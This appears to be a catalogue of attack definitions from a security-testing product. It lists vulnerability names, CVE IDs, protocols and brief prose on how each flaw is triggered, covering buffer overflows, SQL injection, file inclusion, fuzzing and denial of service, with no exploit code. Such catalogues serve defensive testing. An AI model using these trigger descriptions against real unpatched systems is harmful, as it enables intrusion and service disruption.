Detailed Description:	This threat causes a crash in the MSSMTP service by sending a malformed BDAT request. This can cause the mail transfer agent to fail and crash. SMTP services typically listen on port 25.
Protocol Type:	SMTP

CVEID:	CVE-2002-0055
OSVDB:	732
Threat Package:	Standard
Threat File Name:	FSC20071023-16_IBM_Lotus_Domino_IMAP_Server_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Domino IMAP Server Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way IBM Lotus Domino IMAP Server handles LSUB requests. The vulnerability is due to lack of boundary protection while processing the subscribed mailbox names. A remote authenticated attacker may exploit this vulnerability to cause a denial of service condition or inject and execute arbitrary code on the vulnerable system within the security context of the affected service, normally System (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-3510
Threat Package:	Standard
Threat File Name:	TSL20160907-03_Adobe_Flash_Player_Rectangle_Use_After_Free.xml
Executive Description:	Adobe Flash Player Rectangle Use After Free
Detailed Description:	A use-after-free vulnerability has been reported in Adobe Flash Player. This vulnerability is due to incorrect handling of objects in memory when creating and manipulating Rectangle objects in memory. A remote, unauthenticated attacker could exploit these vulnerabilities by enticing a victim user to open a maliciously crafted SWF file. Successful exploitation allows the attacker to execute arbitrary code under the security context of the user.
Protocol Type:	HTTP
CVEID:	CVE-2016-4228
Threat File Name:	pegasus_activex_bof.xml
Executive Description:	Pegasus ImagN ActiveX Control IMW32040.OCX Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Pegasus ImagN ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2814
Threat Package:	Standard
Threat File Name:	FSC20080515-05_Linux_Kernel_IPv6_over_IPv4_Memory_Leak_Denial_of_Service_IPv6.xml
Executive Description:	Linux Kernel IPv6 over IPv4 Memory Leak Denial of Service (IPv6 Version)
Detailed Description:	There exists a remote denial of service vulnerability in the Linux Kernel. The vulnerability occurs due to insufficient checks during the processing of network packets by the IPv6 over IPv4 tunnelling driver. By sending crafted packets to a target host, an attacker may exploit this vulnerability to consume all available memory, thus creating a system wide denial of service condition. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2008-2136
Threat Package:	Standard
Threat File Name:	scoznews_cmi.xml
Executive Description:	ScozNet ScozNews Multiple Remote File Include Vulnerabilities
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via template.php's CONFIG[main_path] parameter. ScozNews is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2487
OSVDB:	25616
Threat Package:	Standard
Threat File Name:	FSC20080312-15_McAfee_ePolicy_Orchestrator_Framework_Services_Log_Handling_Format_String_Vulnerability.xml
Executive Description:	McAfee ePolicy Orchestrator Framework Services Log Handling Format String Vulnerability
Detailed Description:	There exists a Format String vulnerability in McAfee Framework Services used in McAfee ePolicy Orchestrator and other products. The vulnerability is specifically in creating new log entries without filtering format specifiers from the strings. A remote attacker can exploit this vulnerability by sending a specially crafted UDP packet to the target host. A successful exploitation of this vulnerability can allow for code execution with the privileges of the affected service, or cause a denial of service condition. In an attack case where code injection is not successful, the affected service will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, normally System.
Protocol Type:	Proprietary Protocol
CVEID:	CVE-2008-1357
Threat Package:	Standard
Threat File Name:	MSsqlOverflow.xml
Executive Description:	MS02-039/MS02-061 MS SQL Server 2000 Buffer Overflow
Detailed Description:	MS SQL Server 2000 employs UDP Port 1434 for foreign hosts to ping for connectivity. This threat will cause a buffer overflow by causing the MSSQL service to copy a long string onto the stack before attempting to open a registry key with that name. This same flaw was exploited by the slammer worm.
Protocol Type:	MSSQL
CVEID:	CVE-2002-0649
OSVDB:	4577
Threat Package:	Standard
Threat File Name:	TSL20150414-08_Microsoft_ASP_NET_Error_Message_Information_Disclosure.xml
Executive Description:	Microsoft ASP .NET Error Message Information Disclosure.
Detailed Description:	An information disclosure vulnerability exists in Microsoft ASP .NET. The vulnerability is due to the inclusion of configuration file contents in error pages under certain circumstances. A remote, unauthenticated attacker can exploit this vulnerability by sending a request crafted to elicit an error message from the server. Successful exploitation of this vulnerability would expose contents of a web configuration file to the attacker in the resulting error message.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1648
Threat File Name:	tagger_rfi_IPv6.xml

Executive Description:	Tagger LE Tags.PHP Remote File Include Vulnerability Tagger LE Tags.PHP Remote File Include Vulnerability Tagger LE Tags.PHP Remote File Include Vulnerability Tagger LE Tags.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Tagger LE is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	x86NOOPudp4.xml
Executive Description:	UDP x86 NOOP Variant 4
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	TSL20120320-03_Adobe_Photoshop_TIFF_Parsing_Heap_Buffer_Overflow.xml
Executive Description:	Adobe Photoshop TIFF Parsing Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability has been discovered in Adobe Photoshop's handling of specially crafted TIFF files. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted TIFF file with the affected application. Successful exploitation could result in arbitrary code execution in the context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
Threat File Name:	geeklog_rfi.xml
Executive Description:	GeekLog Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. GeekLog is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20070710-16_Microsoft_Excel_Workbook_Workspace_Designation_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Workbook Workspace Designation Handling Code Execution (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Excel processes files. The vulnerability is a result of insufficient data validation while processing the SubStreamType field in a BOF record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3030
Threat Package:	Standard
Threat File Name:	wuftpd_globbing_dos.xml
Executive Description:	WU-FTP File Globbing DOS
Detailed Description:	This threat causes resource starvation in the WU-FTPD daemon. This is done by sending a LIST request for a long wildcard filename. WU-FTPD is a FTP daemon, and typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2005-0256
OSVDB:	14203
Threat Package:	Standard
Threat File Name:	FSC20070508-19_Microsoft_Excel_Set_Font_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Set Font Handling Code Execution (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the way Microsoft Excel processes files. The vulnerability is a result of insufficient boundary checking while processing FBI (Font Basis Info) record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1203
Threat Package:	Standard
Threat File Name:	FSC20090525-03_Sun_Solaris_sadmind_RPC_Request_Buffer_Overflow.xml
Executive Description:	Sun Solaris sadmind RPC Request Buffer Overflow
Detailed Description:	A heap-based buffer overflow vulnerability exists in the sadmind service within the Sun Solaris operating system. The vulnerability is due to an input validation error when allocating a heap buffer while parsing specially crafted RPC requests. A remote unauthenticated attacker can leverage this vulnerability by sending a crafted RPC message to the target host, to potentially inject and execute arbitrary code with root level privileges. In a sophisticated attack case where code injection and execution is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, normally root. In case if the code execution is not achieved, the sadmind service will be terminated abnormally.
Protocol Type:	SUNRPC
CVEID:	CVE-2008-3869
Threat Package:	Standard
Threat File Name:	TSL20160913-30_Microsoft_Internet_Explorer_and_Edge_CVE-2016-3351_Information_Disclosure.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-3351 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Internet Explorer and Edge. This vulnerability is due to a design weakness in the affected application. A remote attacker can exploit this vulnerability by enticing the victim to open a maliciously crafted web page. Successful exploitation would allow the attacker to gain sensitive information.
Protocol Type:	HTTP
CVEID:	CVE-2016-3351

Threat File Name:	TSL20130725-11_HP_LoadRunner_WriteFileString_Directory_Traversal.xml
Executive Description:	HP LoadRunner WriteFileString Directory Traversal
Detailed Description:	A directory traversal and file overwrite vulnerability exists in HP LoadRunner. The vulnerability is caused by the WriteFileString() method which fails to validate the filename parameter. This allows the creation of new files and overwriting of system files, possibly resulting in code execution. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution in the context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-4798
OSVDB:	95642
Threat File Name:	FSC20070531-04_Mozilla_Products_Overflow_Event_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Products Overflow Event Handling Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Foundation's family of browser products. The flaw is due to improper data protection when handling the "overflow" and "underflow" DOM events raised by specific document layout changes. Successful exploitation of this issue can cause a denial of service condition and may allow remote attackers to execute arbitrary code in the context of the target browser. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2867
Threat Package:	Standard
Threat File Name:	openi-cms_rfi_IPv6.xml
Executive Description:	Openi CMS plugins (site protection) remote file inclusion vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Openi CMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0881
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_formatn.xml
Executive Description:	Fuzz SMTP HELO verb with %n
Detailed Description:	Fuzzes the SMTP HELO Parameter with %n from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	TSL20150630-09_IBM_Tivoli_Storage_Manager_FastBack_Server_Opcode_1331_rmdir_Command_Injection.xml
Executive Description:	IBM Tivoli Storage Manager FastBack Server Opcode 1331 rmdir Command Injection
Detailed Description:	A command injection vulnerability exists in IBM Tivoli Storage Manager FastBack Server. The vulnerability is due to insufficient input validation of parameters in opcode 1331 requests. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to port 11460/TCP. Successful exploitation results in arbitrary command execution within the security context of System. Tester should set variable \$destPort to 11460 before test.
Protocol Type:	IBM TSM FastBack Server
Threat File Name:	FSC20081209-18_Microsoft_Word_RTF_Mismatched_dpendgroup_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Word RTF Mismatched dpendgroup Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Word products. The flaw is due to a boundary error when processing RTF documents that contain mismatched dpendgroup control words. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted RTF file. Successful exploitation can lead to arbitrary code execution within the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2008-4030
Threat Package:	Standard
Threat File Name:	badblue_passthru_bof_IPv6.xml
Executive Description:	BadBlue PassThru buffer-overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a buffer overflow flaw in the BadBlue server for Windows. When the PassThru command of ext.dll is invoked with a over 4096 byte long URI. BadBlue is a web server that listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sipbigcode_IPv6.xml
Executive Description:	SIPPING: Big Response Code (IPv6 Version)
Detailed Description:	This threat sends out a SIP response code message with a large value for the code number. This is invalid and should be dropped, but because it is unexpected it may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	sipunknowncontent.xml
Executive Description:	SIPPING: Unknown Content Type
Detailed Description:	This threat sends out a SIP INVITE with an unknown content type and data. Because this is unexpected it may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	mininuke_sqli_IPv6.xml
Executive Description:	MiniNuke Multiple Input Validation Vulnerabilities (IPv6 Version)

Detailed Description:	This threat sends a crafted query containing a SQL statement which is executed by the server with its permissions. MiniNuke is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1362
OSVDB:	23438
Threat File Name:	sabdrimer_rfi.xml
Executive Description:	Sabdrimer PRO Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Sabdrimer PRO is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-3520
Threat Package:	Standard
Threat File Name:	revizecms_sql.xml
Executive Description:	Revize CMS Query_results.JSP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL query that contains an SQL query to be executed by the server. Revize CMS is an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3727
OSVDB:	20919
Threat Package:	Standard
Threat File Name:	FSC20040220-01_KAME_IKE_racoon_HASH.xml
Executive Description:	KAME IKE racoon HASH
Detailed Description:	The IKE daemon of some BSD systems (OpenBSD's isakmpd, NetBSD's racoon) has a vulnerability where sending specifically crafted IKE packets could remove an IPsec SA or all SAs.
Protocol Type:	ISAKMP
CVEID:	CVE-2004-0164
Threat Package:	Standard
Threat File Name:	TSL20101012-13_Microsoft_Windows_OpenType_Font_Validation_Integer_Overflow.xml
Executive Description:	Microsoft Windows OpenType Font Validation Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows OpenType format driver. The vulnerability is due to insufficient validation of an integer value while processing the Font Table Directory inside OpenType font. Remote attackers can exploit this vulnerability by enticing target users to view a maliciously crafted font in an application that utilizes the affected font engine, such as Windows Font Viewer. Successful exploitation of this vulnerability would result in arbitrary code execution within the kernel. In case of an unsuccessful code injection attack, the affected system will crash, causing denial of service condition.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2010-2741
Threat File Name:	ms06-042_import.xml
Executive Description:	Internet Explorer CSS Import Crash
Detailed Description:	This threat causes Internet Explorer to crash by sending a malformed webpage. This malformed webpage reassigns null to a css import elements twice, causing a null dereference. This threat would typically come from a malicious web server. Web servers typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3451
Threat Package:	Standard
Threat File Name:	carsportal_sqli_b_IPv6.xml
Executive Description:	Cars Portal Index.PHP Multiple SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Edgwall an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4055
OSVDB:	21482
Threat File Name:	FSC20040823-01_Qt_BMP_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Qt BMP Handling Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the way the Qt library handles BMP images. Due to boundary check errors during the handling 8-bit RLE encoded BMP files, a heap buffer overflow can occur when opening malformed BMP images. This vulnerability, when successfully exploited, can allow for the execution of arbitrary code on a vulnerable system within the security context of the application embedding the Qt library. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0691
Threat Package:	Standard
Threat File Name:	hrsDelegate.xml
Executive Description:	HTTP Request Smuggling Reverse Poisoning
Detailed Description:	This threat attempts to poison the cache of DeleGate proxy server. This is performed by sending a GET request with a content length field larger than 0. This can either be directed at port 80 or another popularly used proxy port.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140919-05_Google_Android_Browser_Same_Origin_Policy_Bypass.xml
Executive Description:	Google Android Browser Same Origin Policy Bypass
Detailed Description:	A policy bypass vulnerability exists in Google Android Browser. The vulnerability is due to a flaw leading to same origin policy bypass. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a web page. Successful exploitation can result in disclosure of information about other web pages opened by the user or stored in the browser cache.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-6041

Threat File Name:	FSC20040806-01_Red_Hat_Enterprise_Linux_DNS_Resolver_Buffer_Overflow_IPv6.xml
Executive Description:	Red Hat Enterprise Linux DNS Resolver Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the DNS stub resolver library in ISC BIND that also affects the resolver component of older versions of the glibc library. This vulnerability has been known for some time, but has gone unfixed in several versions of the Red Hat Linux operating systems until recently. This can allow an attacker to send a malicious DNS response packets to a vulnerable system to cause a denial of service condition or execution of arbitrary code. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2002-0029
Threat Package:	Standard
Threat File Name:	bulletproofftp_client_bof.xml
Executive Description:	BulletProof FTP (Client) V2.45 Remote Buffer Overflow
Detailed Description:	This threat uses a malicious ftp server to send a large buffer containing arbitrary code to leverage a buffer overflow vulnerability in systems using the Bulletproof ftp client. Bulletproof ftp is a client application that typically connects to ftp servers listening on port 21.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	MS04-007.xml
Executive Description:	MS04-007 ASN1 SMB Exploit
Detailed Description:	This threat attempts to gain entry to a Windows server through the ASN1 vulnerability described in CVE-2003-0818. This threat was fixed by Microsoft's patch, however the vulnerability details have only been disclosed.
Protocol Type:	SMB
CVEID:	CVE-2003-0818
OSVDB:	3902
Threat Package:	Standard
Threat File Name:	SYNFlood.xml
Executive Description:	TCP SYN Flood
Detailed Description:	The normal 3-way handshake for establishing a TCP session between the client and server involves the client sending a TCP SYN packet, the server receiving this packet and opening a socket connection for that user and sending a TCP SYN/ACK packet in return. At this point the server waits, with an open connection for the client to send a TCP ACK to confirm the session. This threat is executed by sending many TCP SYN packet to the targeted machine from a spoofed source address. This will result in the target opening connections until its resources have been exhausted. This will result in a denial of service for all legitimate users.
Protocol Type:	TCP
CVEID:	CVE-1999-0116
OSVDB:	10182
Threat Package:	Standard
Threat File Name:	siplwsuri_IPv6.xml
Executive Description:	SIPPING: Illegal LWS in Request-URI (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with a malformed Request-URI containing an illegal LWS. Because it is unexpected it may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	fuzz-SMTP-HELO_Parameter_formats_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with %s (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with %s from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	fuzz-TFTP_RandstringFilename_RRQ_NETASCII_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RandstringFilename_RRQ_NETASCII.xml (IPv6 Version)
Detailed Description:	Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is RRQ. Mode is netascii (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	runcms_newtopic.xml
Executive Description:	RunCMS SQL Injection
Detailed Description:	This threat runs a SQL injection attack against the RunCMS web application. This allows a remote user to alter the database and run code in the context of the database user. RunCMS is a web application, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2692
OSVDB:	18909
Threat Package:	Standard
Threat File Name:	ie7InfoDisc_IPv6.xml
Executive Description:	IE7 Information Disclosure Vulnerability (IPv6 Version)
Detailed Description:	This threat allows an attacker to monitor and lift information off of any website visited by the user. This can lead to sensitive information disclosure, including banking websites, online purchases, and email reading. This attack would typically come from a malicious website listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-CVE-2006-2111
Threat Package:	Standard
Threat File Name:	FSC20040713-02_Microsoft_showHelp_Vulnerability_IPv6.xml
Executive Description:	Microsoft showHelp Vulnerability (IPv6 Version)
Detailed Description:	There is a vulnerability in the way Microsoft's HTML help system validates .chm files. The URI parameter to this system through the showHelp method can reference a file on the local system outside of the help system through a directory traversal. When an attacker executes this method with a specially crafted URI, the attacker can execute arbitrary code on a vulnerable target. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-1041
Threat Package:	Standard
Threat File Name:	TSL20070109-08_Microsoft_Excel_Malformed_IMDATA_Record_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Excel Malformed IMDATA Record Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel. The flaw is caused by insufficient checks while parsing IMDATA Records in the Excel files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack case where code injection is not successful, the Microsoft Excel application will terminate. This can potentially lead to a loss of data. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2007-0027
Threat File Name:	FSC20060718-04_Microsoft_PowerPoint_PPT_File_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft PowerPoint PPT File Parsing Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft PowerPoint. The flaw is caused by insufficient checks of a malformed Record contained within a PowerPoint file. An attacker can exploit this vulnerability to inject and execute arbitrary code in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3656
Threat Package:	Standard
Threat File Name:	FSC20100309-06_Microsoft_Office_Excel_Sheet_Object_Type_Confusion.xml
Executive Description:	Microsoft Office Excel Sheet Object Type Confusion
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to a memory corruption error when processing a malformed BoundSheet record in an Excel spreadsheet. This vulnerability may be exploited by remote unauthenticated attackers to execute arbitrary code on the target machine by enticing a user into opening a specially crafted Excel document. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the logic of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0258
Threat Package:	Standard
Threat File Name:	FSC20060323-15_RealNetworks_RealPlayer_SWF_Flash_File_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer SWF Flash File Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the RealNetworks RealPlayer product. The vulnerability is specific to parsing malformed Macromedia Flash (SWF) files. An attacker can exploit this vulnerability to inject and execute arbitrary code with the privileges of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-0323
Threat Package:	Standard
Threat File Name:	hpdced.xml
Executive Description:	HP dced buffer overflow
Detailed Description:	This threat sends a small fragment length followed by a large buffer. This causes a buffer overflow in the dce endpoint mapper for HP-UX. This daemon typically listens on port 135.
Protocol Type:	DCOM
CVEID:	CVE-2004-0716
OSVDB:	8188
Threat Package:	Standard
Threat File Name:	FSC20090922-09_Apple_iTunes_PLS_File_Parsing_Buffer_Overflow.xml
Executive Description:	Apple iTunes PLS File Parsing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in Apple iTunes. The error is due to improper bounds checking when copying user supplied data into a buffer. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted .pls file. Successful exploitation of this vulnerability can lead to arbitrary code execution in the context of the user. An unsuccessful code execution attempt can lead to abnormal termination of the vulnerable program.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-2817
Threat Package:	Standard
Threat File Name:	ms05-036.xml
Executive Description:	Microsoft Windows Color Management Buffer Overflow
Detailed Description:	This threat attempts to run shellcode by taking advantage of a buffer overflow in the Color Management Module of Microsoft Windows. This is performed by sending a malicious JPEG image file to Internet Explorer from a website. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1219
OSVDB:	17830
Threat Package:	Standard
Threat File Name:	myblog_rfi.xml
Executive Description:	MyBlog: Games.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MyBlog is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard

Threat File Name:	TSL20120216-08_PHP_htmlespecialchars_htmlentities_Buffer_Overflow.xml
Executive Description:	PHP htmlespecialchars htmlentities Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in PHP. The vulnerability is due to an error while processing numeric entities by the htmlespecialchars and htmlentities PHP functions. A remote attacker could exploit this vulnerability by sending a malicious request to a web application that uses these functions. A successful attack attempt could result in the execution of arbitrary code in the security context of the HTTP service, which is normally user "nobody" for Apache on Linux. Configurations where the HTTP server runs as root or SYSTEM are uncommon.
Protocol Type:	HTTP,HTTPS
Threat File Name:	amp_rfi_IPv6.xml
Executive Description:	AMP v3.2 (base_path) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. AMP is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1571
Threat Package:	Standard
Threat File Name:	TSL20130920-01_Adobe_Acrobat_Reader_ToolButton_Use_After_Free.xml
Executive Description:	Adobe Acrobat Reader ToolButton Use After Free
Detailed Description:	A use after free vulnerability exists in Adobe Acrobat and Reader. The vulnerability is due to an error in the handling of callback functions associated with ToolButton objects.</para><para>A remote attacker can exploit this vulnerability by enticing the user to open a specially crafted file. Successful exploitation could result in arbitrary code execution in the context of the currently affected user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2013-3346
OSVDB:	96745
Threat File Name:	phpay_mailforger.xml
Executive Description:	phPay Nu_mail.inc.PHP Open Email Relay Vulnerability phPay Nu_mail.inc.PHP Open Email Relay Vulnerability
Detailed Description:	This email sends a crafted url that will allow forge and or send arbitrary unsolicited bulk email. phPay is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	wanewsletter_rfi_IPv6.xml
Executive Description:	WANewsletter <= 2.1.3 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed. WANewsletter is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sipinvitebadscemerequesturi.xml
Executive Description:	SIP INVITE Bad Scheme Request-URI
Detailed Description:	This threat sends out a SIP INVITE message with a Request-URI using HTTP. This can confuse or crash a PBX that is not very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	tftpd32.xml
Executive Description:	TFTPD32 Denial of Service
Detailed Description:	This threat sends a request for a file of 508 A's. Causes instability and possible crashing in the tftpd32 daemon. The TFTP service typically listens on UDP port 69.
Protocol Type:	TFTP
Threat Package:	Standard
Threat File Name:	TSL20140918-04_Digium_Asterisk_res_pjsip_pubsub_Module_SIP_SUBSCRIBE_Type_Confusion_Denial_of_Service_IPv6.xml
Executive Description:	Digium Asterisk res_pjsip_pubsub Module SIP SUBSCRIBE Type Confusion Denial of Service IPv6 version.
Detailed Description:	A denial of service vulnerability exists in Asterisk Open Source. The vulnerability exists in the res_pjsip_pubsub module. The vulnerability is due to the way SIP SUBSCRIBE requests with unexpected mixes of headers for a given event package are handled. Remote, unauthenticated attackers could exploit this vulnerability by sending malformed SIP SUBSCRIBE requests to the vulnerable server. Successful exploitation would result in a denial of service condition. Tester should set the variable \$destPort to 5060 before test.
Protocol Type:	SIP.IPV6
Threat File Name:	FSC20100323-04_SAP_GUI_SAPBExCommonResources_ActiveX_Command_Execution.xml
Executive Description:	SAP GUI SAPBExCommonResources ActiveX Command Execution
Detailed Description:	A buffer overflow vulnerability has been reported in SAP GUI SAPBExCommonResources ActiveX control. The vulnerability is due to a design weakness in the "Execute" function of the ActiveX Object BExGlobal. This may allow remote attackers to execute arbitrary command by enticing the target user to open a maliciously crafted HTML document. In a successful attack scenario, where arbitrary code is injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. If code execution is not successful, a denial of service condition may occur on the target system.
Protocol Type:	HTTP/HTTPS
Threat Package:	Standard
Threat File Name:	FSC20100810-35_Microsoft_Office_Word_HTML_Linked_Objects_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Word HTML Linked Objects Memory Corruption (IPv6 Version)

Detailed Description:	<p>A memory corruption vulnerability exists in Microsoft Office Word. The vulnerability is due to the application incorrectly handling a malformed plcflldMom record. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a user to open a maliciously crafted file.</p> <p>In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.</p>
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-1903
Threat Package:	Standard
